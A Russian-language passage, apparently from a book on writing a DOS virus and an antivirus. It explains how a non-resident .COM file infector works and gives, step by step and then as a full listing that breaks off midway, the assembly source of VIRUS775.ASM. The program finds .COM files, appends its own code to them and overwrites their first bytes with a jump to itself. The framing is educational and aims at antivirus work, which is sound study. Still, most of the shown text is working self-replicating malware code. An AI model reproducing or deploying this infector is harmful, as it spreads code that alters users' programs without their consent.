Как написать программу антивирус


Небольшое вступление

Текст далее приводим исключительно в образовательных целях. Для того, чтобы иметь возможность написать антивирус, необходимо знать механику работы вируса.

Пишем вирус… и антивирус для IBM-совместимых компьютеров. Петр Хижняк

Содержание
  • Введение
  • Глава 1. Вирус и антивирус.
    • 1.2 Описание простейшего вируса.
    • 1.3 Описание работы антивируса
  • Глава 2. Пишем вирус
    • 2.1 С чего начать?
    • 2.2 Передача управления вирусу
    • 2.3 Восстановление программы-носителя
    • 2.4 Сохранение DTA
    • 2.5 Область данных вируса
    • 2.6 Поиск жертвы
    • 2.7 Жертва найдена?
    • 2.8 Вирус размножается
    • 2.9 Обработка ошибок
    • 2.10 Текст программы VIRUS775.ASM
  • Глава 3. Пишем антивирус
    • 3.1 Как искать сигнатуру вируса
    • 3.2 Листинг программы VIRUS775.ASM
    • 3.3 Подбираем сигнатуру
    • 3.4 Что должен делать антивирус
    • 3.5 Область данных антивируса
    • 3.6 Антивирус начинает работу
    • 3.7 Читаем командную строку
    • 3.8 Заказываем память
    • 3.9 Ищем зараженные файлы
    • 3.10 Длинные и короткие файлы
    • 3.11 Ищем сигнатуру вируса
    • 3.12 Лечим зараженный файл
    • 3.13 Записываем вылеченный файл
    • 3.14 Антивирус "умывает руки"
    • 3.15 Текст программы ANTI775.ASM
  • Глава 4. Кто выиграет войну?
    • 4.1 Создаем исполняемые программы
    • 4.2 Заражаем COMMAND.COM
    • 4.3 Проверяем работу антивируса
    • 4.4 Вместо послесловия
  • Аннотация литературы по компьютерным вирусам

Введение Компьютерные вирусы, едва появившись на свет, повергли в смятение компьютерную общественность, которая привыкла полагаться на компьютеры как на верных и, главное, надежных помощников в своей работе. И вдруг - как молнии - в печати под громкими заголовками замелькали сообщения об эпидемии, вызванной компьютерными вирусами. Компьютеры как бы вырвались из-под власти человека: программиста, оператора, пользователя - и их поведение, до этого совершенно спокойное и пристойное, перестало быть предсказуемым. Более того, компьютеры стали опасными. Нет, не для человека - для программ и данных, которыми он пользуется. Однако, если небольшая ошибка в программе, управляющей, например, ядерным реактором, может привести к его аварии (и это уже случалось!), то каких бед может натворить компьютер, "заболевший" вирусом и в больном угаре, скажем, запустивший ракету с атомной боеголовкой? Возможны и менее опасные действия компьютера: неверная обработка важных финансовых документов, порча бесценной научной или медицинской информации... Да мало ли что еще может натворить компьютер, которому человек доверил управлять теми или иными важными процессами в производстве и в жизни. Осознав все это и почувствовав на себе коварство невидимых врагов, человек сразу встал на борьбу с ними. Откуда же взялись компьютерные вирусы, что это такое и как с ними бороться? Понимая, что большинство читателей этой книги прекрасно знает ответ, по крайней мере, на первый из этих вопросов, мы опустим его подробное освещение и перейдем сразу ко второму, а затем и к третьему. Итак, больное самолюбие в одних случаях, желание выделиться в других и жажда мести в третьих - породили вандалов в чинной среде программистов. Их изобретательность не знает границ. Современные компютерные вирусы - это программы, которые не только размножаются и живут самостоятельной жизнью, но которые обманывают, скрываются, убивают другие программы! Полный набор терминов из криминальной хроники. Поэтому и методы борьбы с компьютерными вирусами тоже напоминают методы Шерлока Холмса. Слежка, ловля "на живца", обыски, производимые антивирусными программами в памяти компыютера и на диске - чем не детективный роман? Однако борьба с вирусами - дело не столько захватывающее, сколько сложное, требующее особою внимания, терпения, вдумчивости и твердых знаний. Итак - приступим к борьбе. Глава 1. Вирус и антивирус. 1.2 Описание простейшего вируса. Начнем с определений. Вирусом называют программу, которая помимо желания пользователя компьютера выполняет действия, мешающие его нормальной работе. Характерными чертами вирусов являются следующие:
  1. Код вируса (или его часть) внедряется в другие программы. А программами являются, например, загрузочная запись (boot record) и системный загрузчик (master boot record), драйверы, оверлейные файлы и т.п.
  2. Код вируса попадает в память или на внешние накопители, а также выполняется помимо воли пользователей и операторов ЭВМ.
  3. Действия вируса вызывают различные вредные последствия: замедление работы компьютера, порча программ и данных, искажение результатов ввода / вывода, засорение оперативной памяти и внешних носителей и др.
Существует много типов вирусов, познакомиться с которыми подробно читатель сможет, прочитав литературу, список которой приведен в конце данной книги. Мы же рассмотрим работу простейшего файлового вируса, поражающего .COM-файлы и не являющегося резидентным. Такой вирус, будучи однажды выпущенным "на волю", заражает программы следующим образом. Первым делом, получив управление при запуске зараженной программы, вирус ищет на доступном диске файлы с расширением .COM. Найдя подходящий файл (т.е. перемещаемую программу), вирус записывает свой код за последним оператором (т.е. в "хвост") этой программы, а затем на место первых трех байт этой программы записывает код короткого перехода по адресу входа в свою программу, предварительно сохранив исходные три байта в своей внутренней области данных или в стеке.

После этого вирус перезаписывает модифицированный .COM-файл на магнитный диск. При этом изменяется длина исходного файла. В принципе, возможно существование вирусов, не изменяющих длину заражаемого файла. В этом случае код исходного файла должен храниться в зараженном файле в архивированном виде или же код вируса и частично "лишний" код исходного файла должны храниться в сбойных секторах или в системной области магнитного диска.

После заражения файла (или вместо этого) вирус может заняться вредоносной деятельностью (хотя заражение файлов - вещь и так достаточно неприятная). Завершив выполнение всего, что наметил его автор, вирус восстанавливает (только в памяти компьютера!) исходные три байта той программы, которая передала ему управление и осуществляет переход на начало этой программы.

Поскольку в .COM-файле, если не принимать специальных мер, адрес входа всегда равен 100h, то для передачи управления по этому адресу вирус может использовать длинный переход и не рассчитывать относительное смещение адреса, учитывающее длину заражаемой программы.

Таким образом, сначала всегда выполняется код вируса, а затем - сама зараженная программа. У пользователя может создаться впечатление, что все в порядке (ведь программа отработала нормально!). Действия же вируса, как правило, незаметны и выполняются в течение очень короткого промежутка времени.

Схема работы вируса в зараженной программе приведена на рис 1.

                  Far JMP 100h
 +---------------------<---------------------------+
 |                                                 |
+-+-+-+------------------+--------------+-+-+-+----+
| | | |                  |              | | | |    |
| JMP |     COM file     |  Virus body  | | | |    |
| | | |                  |              | | | |    |
+-+-+-+------------------+--------------+-+-+-+----+
     |                               |   3 bytes
     +----------------->-------------+
100h               Near JMP


Рисунок 1. Схематическое изображение принципа работы вируса в зараженной .COM-программе.

1.3 Описание работы антивируса

Существуют различные типы антивирусных программ и технических средств. Например, резидентые перехватчики системных прерываний и прерываний BIOS, программы-ревизоры, проверяющие длины и контрольные суммы файлов и др.

Мы расскажем читателю лишь о двух типах антивирусных программ - детекторах и фагах. Первые лишь обнаруживают наличие вируса и указывают его место положения. Вторые "лечат" программы, т.е. "выкусывают" вирус из зараженной программы и (иногда полностью, иногда почти полностью) приводят программу к прежнему виду.

           Восстановление 3-х первых байт
 +-+-+-----------------<-----------------+-+-+
 | | |                                   | | |
+-+-+-+------------------+--------------+-+-+-+----+
| | | |                  |              | | | |    |
| JMP |     COM file     |  Virus body  | | | |    |
| | | |                  |              | | | |    |
+-+-+-+------------------+--------------+-+-+-+----+
                         |                         |
			 +-------------------------+
                  Выкусывание "хвоста", содержащего вирус


Рисунок 2. Схематическое изображение принципа восстановления антивирусом (фагом) зараженной .COM-программы.

Очевидно, что идеальная антивирусная программа, предназначенная для восстановления зараженных файлов (т.е. для приведения их к исходному виду), должна проделать всю работу, которую проделал вирус, в обратном порядке. A именно:
  1. найти зараженную программу;
  2. зная, в каком месте своей области данных вирус хранит первые три байта зараженной программы, переписать эти три байта вместо трехбайтовой команды перехода на начало кода вируса;
  3. зная длину вируса (а еще лучше - первоначальную длину зараженной программы) "отрезать" ту часть зараженной программы, которая содержит код вируса;
  4. записать вылеченную программу на магнитный диск, восстановив возможно точнее ее прежнюю длину.
Помимо указанных действий грамотно написанная антивирусная программа-фаг по ходу работы должна выполнять многочисленные проверки, чтобы вместо "лечения" не испортить зараженную (или даже здоровую!) программу.

Например, программа-фаг обязательно должна работать совместно с программой-детектором или (еще лучше) составлять с ней одно целое. Таким образом будет обеспечено "лечение" лишь действительно зараженных данным вирусом программ. Программа-фаг, всегда ориентирована на борьбу с конкретным вирусом (или группой определенных вирусов) и совершенно не приспособлена к борьбе со всеми остальными. Достаточно бывает внести в код вируса совершенно незначительные изменения - и эффективно работавший фаг станет бессилен в борьбе с новым штаммом. Более того, программа-фаг может в этом случае перестать "лечить" зараженные файлы, а лишь будет безвозвратно их портить. Поэтому при пользовании антивирусными программами-фагами следует придерживаться ряда предосторожностей:
  1. всегда необходимо перед "лечением" создавать резервные копии зараженных программ на отдельных гибких дисках;
  2. перед "лечением" необходимо с помощью программ-детекторов убедиться, что подозреваемый файл действительно заражен тем самым штаммом вируса, против которого успешно борется имеющаяся у Вас программа-фаг;
  3. все операции по поиску, копированию и лечению зараженных файлов следует проводить на незараженном компьютере. Для этого достаточно произвести загрузку DOS с эталонной незараженной и защищенной от записи дискеты, содержащей операционную систему, которая всегда должна быть под рукой.
Глава 2. Пишем вирус

Борьба с компьютерными вирусами на профессиональном уровне предполагает хорошее знание работы вирусов на уровне кода. То есть разработчику антивирусных программ необходимо знакомство не только с основными принципами действия вирусов, но и со способами программной реализации этих принципов. Особенно это относится к случаям борьбы с новыми, неизвестными ранее вирусами или с новыми штаммами вирусов, для которых не существует стандартных средств (программ) для их обнаружения и нейтрализации последствий их разрушительных действий.

В данной главе приводится текст программы (отлаженной и проверенной в действии), имитирующей работу простейшего файлового вируса, заражающего .COM-программы. Данная программа без всяких изъятий проделывает все то, на что способен простой .COM-вирус, т.е. проверяет наличие не зараженных данным вирусом программ на диске (чтобы не заражать одну и ту же программу дважды), заражает такую программу - и вместо выполнения троянской компоненты вируса выдает на экран сообщение о том, что произошло заражение программы. После первого заражения какого-либо .COM-файла с помощью данной программы вирус начинает самостоятельную жизнь и способен выполнять все вышеуказанные действия при каждом запуске зараженной программы.

Не предполагая у читателя досконального знания языка ассемблера, прерываний и функций MS-DOS и BIOS, мы будем давать по возможности полные комментарии к каждой структурной части программы-вируса и антивируса.

2.1 С чего начать?

Все .COM-программы начинаются почти одинаково: со своеобразного заголовка .COM-программы, указывающего стандартные совпадающие сегментные регистры кода (cs) и данных (ds) и адрес начала кода, равный 100h, т.е. сразу за сегментным префиксом программы (PSP), который располагается по нулевому смещению и занимает 100h байт.

CSEG	segment
	assume cs:cseg,ds:cseg,es:cseg
	org 100h
START:


Содержимое регистра расширенного сегмента данных (es), который может использоваться в программе для операций со строками данных, пока тоже оставим равным содержимому регистра cs.

2.2 Передача управления вирусу

Поскольку, как показано выше, работа вируса начинается с выполнения трехбайтовой команды близкого перехода на начало кода вируса, мы запишем эту команду сразу за меткой START.

Далее, необходимо учесть отличие программы, запускающей вирус, от вируса в "чистом" виде, которое заключается в том, что эта программа после завершения работы, в отличие от вируса, внедрившегося в программу, должна передать управление DOS, а не программе-носителю вируса. Чтобы отличить запускающую программу от вируса, запишем идентифицирующий код (например 0FFFFh) сразу за командой перехода на начало запускающей программы.

START:
	db	0E9h
	dw	15h          ; Near jurp to RESTORE_3_BYTES
ID	dw	0FFFFh
	org	110h
VIRUS:


Обратите внимание на необычность записи команды близкого перехода. Эта команда записана непосредственно в виде машинного кода (0Е9h) и относительного смещения перехода (15h), которое вычисляется по сумме длин команд и данных, расположенных перед началом основной программы (метка RESTORE_3_BYTES). Относительное смещение перехода будет вычисляться вирусом при заражении программы, и следовательно вместо смещения 15h в зараженной программе будет сгоять совершенно другое число. Команда org 110h, предписывающая ассемблеру располагать следующие за ней коды со смещения 110h, записана для удобства расчета адреса перехода и для обеспечения резерва области данных запускающей программы.

2.3 Восстановление программы-носителя

После получения управления наш вирус прежде всего восстанавливает первые три байта исходной программы, которые он хранит в своей области данных, расположенной сразу за кодом вируса (метка BYTES_3). В запускающей программе сегмент кода и сегмент данных вируса совпадают. Однако в зараженной программе область данных вируса отодвигается как минимум на количество байт, равное собственной (прежней) длине зараженной программе. Поэтому в вирусе необходимо предусмотреть приращение содержимого сегмента данных (ds) на величину, равную округленной в большую сторону исходной длине зараженной программы по модулю 10h (т.к. число, хранящееся в регистре ds, по определению, принятому для семейства процессоров 80x86, в 10h раз меньше абсолютного смещения сегмента данных).

VIRUS:
	push	ds
	mov	ax,cs
	db	00000101b	; Add ax,imed
NEW_DS	dw	0FFFFh		; 0FFFFh should be replaced
	mov	ds,ax		; Define new ds segment

RESTORE_3_BYTES:
	mov	al,BYTES_3[0]	; Restore first 3 bytes
	mov	byte ptr cs:[100h],al
	mov	al,BYTES_3[1]
	mov	byte ptr cs:[101h],al
	mov	al,BYTES_3[2]
	mov	byte ptr cs:[102h],al


Поскольку длина заражаемой программы заранее не известна, мы записали команду, корректирующую ds непосредственным прибавлением к его содержимому соответствующего числа, также как и первую команду перехода, в виде машинного (двоичного) кода 00000101b (Add ax,imed). Слово, которое следует за этой командой (пока это 0FFFFh), должно представлять собой число, которое прибавляется командой 00000101b. Это число будет подставлено вирусом по адресу, определяемому меткой NEW_DS.

2.4 Сохранение DTA

Далее, поскольку, вирус будет пользоваться функциями DOS, для выполнения операций с файлами, необходимо предусмотреть возможность выделения DTA (Data Transfer Area) для этих целей. Наш вирус будет пользоваться DTA зараженной программы, но поскольку при этом содержимое DTA, которое необходимо зараженной программе для ее нормальной работы (после передаче ей вирусом управления), будет испорчено, сохраним DTA в области данных вируса, выделив для этого целых 100h байт (т.е. для сохранения общности будем хранить целиком PSP).

STORE_DTA:
	mov	cx,100h
	mov	Ьх,0

DTA_S:
	mov	al,byte ptr cs:[bx]
	mov	byte ptr DTA[bx],al
	inc	bx
	loop	DTA_S


2.5 Область данных вируса

Таким образом, мы подготовили практически все необходимое для дальнейшей работы вируса (или запускаюшей вирус программы). Работа запускающей программы отличается от работы вируса тем, что она не производит реальных действий по восстановлению первых трех байт (эта работа для запускающей программы является холостой), и не производит корректировки содержимого регистра данных ds. Однако как вирус, так и запускающая программа имеют одинаковую по структуре область (сегмент) данных, расположенную в самом конце. Поскольку мы сразу активно оперируем данными, приведем структуру этой области уже теперь.

FMASK	db	'*.COM',0h		
FNAME	db	12 dup (?),0h
FLENOLD	dw	(?)		; Length of file
FLEN	dw	(?)		; Corrected length of file
HANDLE	dw	0FFFFh		; File handle number
JMPVIR	db	0E9h		; JMP code
JMP_L	db	(?)		
JMР_H	db	(?)		; 3 bytes for virus JMP
BYTES_3	db	3 dup (?)	; Original 3 bytes
	db	(?)
DTA	db	101h dup (?)
MSG	db	0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
VIRLEN	equ	$-VIRUS

CSEG	ends
	end	START


Тот факт, что область данных нашего вируса расположена в самом конце программы, отражен наличием команд CSEG ends и end START.

Поскольку мы глубоко продумали алгоритм работы вируса и хорошо представляем себе данные, которыми он будет оперировать, мы можем описать и объяснить все, что хранится в этой области.

FMASK	db	'*.COM'.Oh


Строка FMASK в формате ASCIIZ длиной 6 байт содержит маску имен файлов, которые вирус будет просматривать в поиске новой "жертвы". Это все файлы с расширением .COM.

FNAME	db	12 dup (?),0h


Строка FNАМЕ длиной 13 байт представляет собой место, зарезервированное для хранения имени файла-жертвы с расширением в формате ASCIIZ

FLENOLD	dw	(?)		; Length of file


Слово FLENOLD зарезервировано для хранения длины файла-жертвы, поскольку с этой величиной вирус будет проаодить различные манипуляции при расчете новой длины уже зараженного файла.

FLEN	dw	(?)		; Corrected length of file


Слово FLEN зарезервировано для хранения скорректированной (новой) длины файла, уже зараженного вирусом.

HANDLE	dw	0FFFFh		; File handle number


Слово HANDLE зарезервировано для хранения логического номера (handle) открываемого файла. В случае, когда вирусом не было открыто ни одного файла, в этом слове хранится число 0FFFFh.

JMPVIR	db	0E9h		; JMP code
JMP_L	db	(?)
JMP_H	db	(?)		; 3 bytes for virus JMP


Байт JMPVIR хранит константу 0Е9h, представляющую собой код близкого перехода.

Байты JMP_L и JMP_Н зарезервированы для хранения, соответственно, младшей и старшей части смещения, являющегося частью команды перехода. Это смещение рассчитывается вирусом в процессе заражения файла.

BYTES_3	db	3 dup (?)	; Original 3 bytes
	db	(?)


Три байта под меткой BYTES_3 зарезервированы для хранения исходных трех байт программы-жертвы. Эти байты подставляются обратно по смещению 100h (в памяти) перед передачей управления программе-носителю вируса. Еще один байт - резерв.

DTA	db	101h dup (?)


Сто байт отведено (метка DTA) для хранения области PSP (Program Segment Prefix), включающей в себя DTA (Data Transfer Area), и один байт - резерв.

MSG	db	0Ah,ODh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'


Меткой MSG обозначена ASCII строка, которую выдает на экран вирус при заражении очередной программы. Это - единственное "вредное" действие, совершаемое нашим вирусом (не считая, конечно, самого заражения .COM-программ).

VIRLEN	equ	$-VIRUS


Константа VIRLEN не занимает места в области данных. Эта величина равна длине кода вируса, который приписывается в "хвост" заражаемой программы (знак $ означает текущий адрес, а метка VIRUS - смещение начала кода вируса).

Знак '$', расположенный в строке MSG является последним кодом вируса. Наш вирус будет использовать этот код для проверки, не заражен ли уже данным вирусом намечаемый файл-жертва. Сразу же хочется отметить, что этот факт может быть использован для вакцинации (защиты) программ от данного вируса. Для этого достаточно лишь приписать код '$' в конец защищаемой программы. К сожалению, этот прием не спасает от других вирусов. Кроме того, если поверх нашего вируса "сел" другой, то наш вирус заразит данную программу еще раз.

2.6 Поиск жертвы

Наш вирус - простейший. В нем отсутствуют наиболее мощные средства работы с файловой системой DOS. Поэтому этот вирус способен отыскивать потенциальные жертвы лишь в текущем каталоге, из которого запущена программа-носитель вируса. Для этого наш вирус использует функции DOS 4Eh (Find first matching file) и 3Eh (Find next matching file), которые осуществляют поиск файла по заданному шаблону (у нас это ASCIIZ строка с меткой FMASK:

FMASK	db	'*.COM',0h


Помимо соответствия имени файла шаблону, его атрибуты также должны соответствовать атрибутам, заданным в регистре сх перед вызовом функции 4Eh (или 3Еh). Функция DOS находит файл, атрибуты которого разрешены маской. Единичный бит в маске означает, что соответствующий бит в байте атрибутов может быть как единичным, так и нулевым; нулевой бит в маске означает, что соответствующий бит в байте атрибутов файла может быть только нулевым. Таким образом, если маска атрибута (содержимое регистра сх) равна, например, 00100001, а байт атрибутов файла равен 00100000 или 00100001, то этот файл будет найден DOS. А файл с байтом атрибутов 00100010 найден не будет.

FIND_FIRST:
	lea	dx,FMASK
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ah,4Eh
	int	21h		;  Find first .COM file

	jnc	STORE_FNAME
	jmp	ERR


Если файла, соответствующего заданному шаблону и маске атрибутов найдено не было (или произошла ошибка), управление передается на метку ERR, в противном случае - на метку STORE_FNAME (сохранить имя файла).

Поскольку среди найденных файлов могут оказаться те, которые вирусу "не подходят" (например, их длина слишком велика, или они уже заражены данным вирусом), здесь же следует предусмотреть поиск следующего файла, соответствующего шаблону (пометим этот блок программы меткой FIND_NEXT). Обращение к этому блоку будет делаться позже, после всех необходимых проверок.

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh
	
	mov	ah,4Fh
	int	21h
	jnc	STORE_FNAME
	jmp	ERR


Очевидно, что перед тем, как найти следующий файл, соответствующий шаблону, необходимо закрыть предыдущий. Это делают первые четыре оператора, следующие за меткой FIND_NEXT (функция DOS 3Eh). При этом в слово HANDLE засылается число 0FFFFh, которое, как мы договорились, является признаком того, что все открытые нами файлы закрыты.

2.7 Жертва найдена?

Если подходящий файл найден (а таким файлом наш вирус "считает" .COM-файлы с не установленными атрибутами "read-only", "system" и "hidden" (атрибут "archive" ему безразличен), то необходимо сохранить имя файла с тем, чтобы затем воспользоваться функциями, использующими для операций чтения и записи его логический номер (handle).

STORE_FNAME:
	cmp	byte ptr cs:[95h],00000001b	; Test r/o attribute
	je	FIND_NEXT	; if r/o is set, do not infect
	mov	bx,0
	
NEXT_SYM:
 
	mov	al,byte ptr cs:[bx+9Eh]
	mov     FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng     NEXT_SYM
	jmp	ERR


Заметим, что в блоке с меткой STORE_FNAME дополнительно проверяется атрибут "read-only". Это совершенно не обязательно в данной программе, так как наша маска атрибутов и так не допускает поиска файлов с этим атрибутом. Дополнительная проверка введена лишь как иллюстрация того, что любой атрибут можно проверить, считав байт атрибутов из DTA по смещению 95h (ведь наш вирус, несмотря на его реальность - все же учебный).

Имя файла хранится в DTA в формате ASCIIZ (т.е. без пробелов и заканчивается нулевым кодом, длина его с расширением не более 13 символов, включая нулевой код) начиная со смещения 9Eh.

Если бы мы хотели, чтобы наш вирус заражал любые .COM-файлы (в том числе системные, скрытые и "только-для-чтения") мы должны были бы установить маску атрибутов при поиске подходящего файла равной 00100111, а после того, как подходящий файл найден, изменить его атрибут "read-only" с тем, чтобы этот файл можно было модифицировать (ведь именно этим и занимается вирус). И хотя для нас это также необязательно, тем не менее покажем, как вирус может изменять атрибуты файла.

SET_ATTRIB:
	lea	dx,FNAME
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set  file attributes
 
	jnc	READ_HANDLE
	jmp	ERR


Теперь пора открывать файл с помошью handle- ориентированной функции DOS 3D (02) - открыть файл в режиме чтения/записи (handle файла после его открытия хранится в регистре ах, надо не забыть его сохранить).

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/write mode
	int	21h		; Open a file
	jnc	READ_3_BYTES
	jmp	ERR


Теперь, когда файл успешно открыт (а в случае ошибки - переход на метку ERR), можно последовательно сделать следующее. Пока (сразу после открытия файла) указатель стоит на начале файла, считаем и сохраним первые три байта только что открытого файла, а заодно сохраним его handle (логический номер).

READ_3_BYTES:
	mov	HANDLE,ax	; Store handle from ax

	lea	dx,BYTES_3
	mov	bx,HANDLE
	mov	cx,3		; Number of bytes to read
	mov	ah,3Fh
	int	21h		; Read and store first 3 bytes
	jnc	READ_FLEN
	jmp	ERR


Прочитаем длину открытого файла. Для этого обычно устанавливаеют текущий указатель (seek pointer) на конец файла и вызывают функцию DOS 42h (02) (Изменить положение указателя текущей позиции). При этом смещение указателя относительно начала файла (т.е. его длина!) заносится в виде двойного слова в регистры dx (старшая часть) и ах (младшая часть).

READ_FLEN:
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	al,2		; Relative to EOF
	mov	ah,42h		; Get program length in dx:ax
	int	21h
	jnc	CHECK_ID
	jmp	ERR


Теперь, вероятно, пора убедиться, что открытый файл не был заражен нашим вирусом ранее. Однако, возможно нам и не потребуется определять наличие индикатора заражения. Это в том, например, случае, если длина открытого файла слишком велика (например, превышает 64 К байт), или же она становится слишком велика после заражения. Для начала рассчитаем округленную до 16 (величина параграфа памяти) длину файла, сохраним эту величину в слове FLEN.

CHECK_ID:
	mov	FLENOLD,ax	; Store length of file

	test	ах,00001111b
	jz	JUST
	or	ах,00001111b
	inc	ax
 
JUST:
	mov	FLEN,ax		; Store corrected length of file

	cmp	ax,64500
	jna	CALC_DS
	jmp	FIND_NEXT


Заодно рассчитаем и приращение значения сегмента данных (для использования его вирусом в данном файле в случае его заражения) - именно эта величина прибавляется к содержимому регистра ds (разумеется, через регистр ax). Эта операция выполняется операторами, следующими сразу за меткой VIRUS. Вот зачем необходимо округление длины файла до 16 в большую сторону!

CALC_DS:
	mov	cl,4
	shr	ax,cl		; Calculate new ds segment difference
	dec	ax
	mov	byte ptr NEW_DS[0],al
	mov	byte ptr NEW_DS[1],ah	; Store new ds segment


Вот теперь самое время прочитать последний байт этого файла и убедиться, что он не был заражен нашим вирусом ранее. Напомним, что в качестве такого индикатора мы используем символ '$'.

	mov	сх,0
	mov	dx,FLENOLD
	dec	dx
	mov	bx,HANDLE
	mov	al,0		; Relative to EOF
	mov	al,42h
	int	21h		; Set seek to last byte of file
 
	jnc	READ_ID
	jmp	ERR

READ_ID:
	lea	dx,BYTES_3[3]
	mov	bx,HANDLE
	mov	cx,1
	mov	ah,3Fh
	int	21h		;  Read last byte to BYTES_3[3] (ID='$')
	jnc	TEST_ID
	jmp	FIND_NEXT

TEST_ID:
	cmp	BYTES_3[3],'$'
	jne	NOT_INFECTED
	jmp	FIND_NEXT	; Check if file is infected


Если файл уже заражен нашим вирусом, то следует перейти к метке FIND_NЕХТ и повторить все операции с самого начала. Если же файл не заражен, то можно произвести окончательную его подготовку к внедрению вируса. Рассчитаем смещение кода вируса относительно начала заражаемого файла (напомним, что вирус записывает себя в конец файла, причем смещение округлено по границе параграфа - хотя вообще говоря это не обязательно).

NOT_INFECTED:
	mov	ax,FLEN		;  Calculate JMP address
	sub	ax,03h
	mov	JMP_L,al
	mov	JMP_H,ah	; Store new JMP address
 


2.8 Вирус размножается

Теперь происходит самое главное: вирус приписывает себя (свой код, включая область данных, где хранятся первые три байта этого файла, скорректированные операторы модификации сегмента данных и т.п.) в конец файла-жертвы.

	mov	cx,0
	mov	dx,FLEN
	mov	bx,HANDLE
	mov	ax,4200h	; Set seek to corrected end of file
	int	21h
	jc	ERR

	lea	dx,VIRUS
	mov	cx,VIRLEN
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write virus to file
	jc	ERR


Теперь осталось лишь вместо первых трех байт файла-жертвы записать три байта, которые представляют собой команду перехода на начало вируса.

WRITE_JMP:
	mov	cx,0
	mov	dx,0
	mov	bx,HANDLE
	mov	al,0		; Relative to file start
	mov	ah,42h
	int	21h		; Set seek to 0
	jc	ERR
 
	lea	dx,JMPVIR
	mov	сх,3
	mov	bx,HANDLE
	mov	ah,40h
	int	21h		; Write new JMP to file
	jc	ERR


Мы договорились, что единственным вредным действием (помимо заражения других программ), которое совершает наш вирус, будет выдача на экран сообщения о том, что заражен очередной файл. Конечно, если заражения не произошло, то и сообщения выдано не будет. Напомним, что текст сообщения хранится в области данных вируса в строке под меткой MSG.

PRINT_MSG:
	lea	dx,MSG
	mov	ah,09h
	int	21h		; Print a message


2.9 Обработка ошибок

Опишем действия вируса в случае возникновения ошибок (к ним мы причисляем и отсутствие файлов, удовлетворяющих шаблону). В этом случае вирус просто передает управление программе-носителю.

ERR:
	cmp	HANDLE,0FFFFh
	je	EXIT

CLOSE_FILE:
 
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close file

EXIT:
	cmp	cs:[ID],0FFFFh
	je	GOTO_DOS

RESTORE_DTA:
	mov	cx,100h
	mov	bx,0
DTA_R:
	mov	al,byte ptr DTA[bx]
	mov	byte ptr cs:[bx],al
	inc	bx
	loop	DTA_R

GOTO_START:
	mov	ax,cs
	mov	ds:[SIART_S],ax
	pop	ds
	db	0EAh		; Far jmp to START
	dw	0100h		; START offset
START_S	dw	(?)		; START segment

GOTO_DOS:
	mov	ax,4C00h
	int	21h


Аналогичные действия выполняются и при успешном выполнении вирусом своей программы. Предварительно вирус закрывает зараженный файл и восстанавливает PSP.

Теперь мы можем привести текст нашего вируса (вернее, программы, которая его запускает) целиком.

2.10 Текст программы VIRUS775.ASM

	.8086
	PAGE      ,132
;******************************************************
; VIRUS775.ASM emulates virus activity for .COM files
;******************************************************
CSEG	segment
	assume cs:cseg,ds:cseg,es:cseg
	org 100h
START:
	db	0E9h
	dw	15h		; Near jump to RESTORE_3_BYTES
ID	dw	0FFFFh

	org 110h

VIRUS:
	push	ds
	mov	ax,cs
	db	00000101b	; Add ax,imed
NEW_DS	dw	0FFFFh		; 0FFFFh should be replaced
	mov	ds,ax		; Define new ds segment

RESTORE_3_BYTES:
	mov	al,BYTES_3[0]	; Restore first 3 bytes
	mov	byte ptr cs:[100h],al
	mov	al,BYTES_3[1]
	mov	byte ptr cs:[101h],al
	mov	al,BYTES_3[2]
	mov	byte ptr cs:[102h],al

STORE_DTA:
	mov	cx,100h
	mov	bx,0
DTA_S:
	mov	al,byte ptr cs:[bx]
 
	mov	byte ptr DTA[bx],al
	inc	bx
	loop	DTA_S

FIND_FIRST:
	lea	dx,FMASK
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ah,4Eh
	int	21h		; Find first .COM file
	jnc	STORE_FNAME
	jmp	ERR

FIND_NEXT:
	mov	bx,HANDLE
	mov	ah,3Eh
	int	21h		; Close previous file
	mov	HANDLE,0FFFFh

	mov	ah,4Fh
	int	21h
	jnc	STORE_FNAME
	jmp	ERR

STORE_FNAME:
	cmp	byte ptr cs:[95h],00000001b	; Test r/o attribute
	je	FIND_NEXT	; if r/o is set, do not infect
	mov	bx,0

NEXT_SYM:
	mov	al,byte ptr cs:[bx+9Eh]
	mov	FNAME[bx],al
	cmp	byte ptr cs:[bx+9Eh],0
	je	SET_ATTRIB
	inc	bx
	cmp	bx,13
	jng	NEXT_SYM
	jmp	ERR

SET_ATTRIB:
	lea	dx,FNAME
 
	mov	cx,00100000b	; arc,dir,vol,sys,hid,r/o
	mov	ax,4301h
	int	21h		; Set file attributes
	jnc	READ_HANDLE
	jmp	ERR

READ_HANDLE:
	lea	dx,FNAME
	mov	ax,3D02h	; Read/write mode
	int	21h		; Open a file
	jnc	READ_3_BYTES
	jmp	ERR

READ_3_BYTES:
	mov	HANDLE,ax	; Store handle from ax
	lea	dx,BYTES_3
	mov	bx,HANDLE
	mov	cx,3		; Number of bytes to read

	mov	ah,3Fh
	int	21h		; Read and store first 3 bytes
	jnc	READ_FLEN
	jmp	ERR

READ_FLEN:
	mov	cx,0
	mov	dx,0		; NULL seek position in cx:dx
	mov	bx,HANDLE
	mov	al,2		; Relative to EOF
	mov	ah,42h		; Get program length in dx:ax
	int	21h
	jnc	CHECK_ID
	jmp	ERR

CHECK_ID:
	mov	FLENOLD,ax	; Store length of file

	test	ax,00001111b
	jz	JUST
	or	ax,00001111b
	inc	ax
 
JUST:
	mov	FLEN,ax		; Store corrected length of file

	cmp	ax,64500
	jna	CALC_DS
	jmp	FIND_NEXT

CALC_DS:
	mov	cl,4
	shr	ax,cl		; Calculate new ds segment difference
	dec	ax
	mov	byte ptr NEW_DS[0],al
	mov	byte ptr NEW_DS[1],ah	; Store new ds segment

	mov	cx,0
	mov	dx,FLENOLD
	dec	dx
	mov	bx,HANDLE
	mov	al,0		; Relative to EOF
